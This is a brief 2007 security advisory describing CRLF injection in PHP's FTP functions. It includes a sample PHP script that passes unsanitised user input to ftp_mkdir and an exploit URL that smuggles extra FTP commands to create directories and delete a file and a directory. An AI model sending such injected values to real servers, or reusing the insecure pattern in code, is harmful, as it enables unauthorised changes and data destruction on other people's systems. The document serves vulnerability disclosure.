CRLF injection in PHP ftp function

2007.05.12
Credit: fangxiaodun
Risk: Low
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

We found that there was one crlf injection in php ftp ftuntion.As same as http,you can inject a '\r\n other command' in the paramer of a ftp function like ftp_mkdir,and then php would send the \r\n to your connected ftp server.The server considerd there is a new command,and the other command would be executed. For eg: <?php $ftp_server='http://www.loveshell.net'; $ftp_user_name='loveshell'; $ftp_user_pass='loveshell'; $command = $_GET['dir']; $conn_id = ftp_connect($ftp_server); $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); if($command) ftp_mkdir($conn_id, $command); ....... Exp: http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD jnc%0D%0ADELE jnc.txt%0D%0Armd test The dir loveshell and jnc are created,the jnc.txt is deleted,and the dir test is deleted. tested on php 5.1.6,other function is vul also. loveshell[at]Bug.Center.Team


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top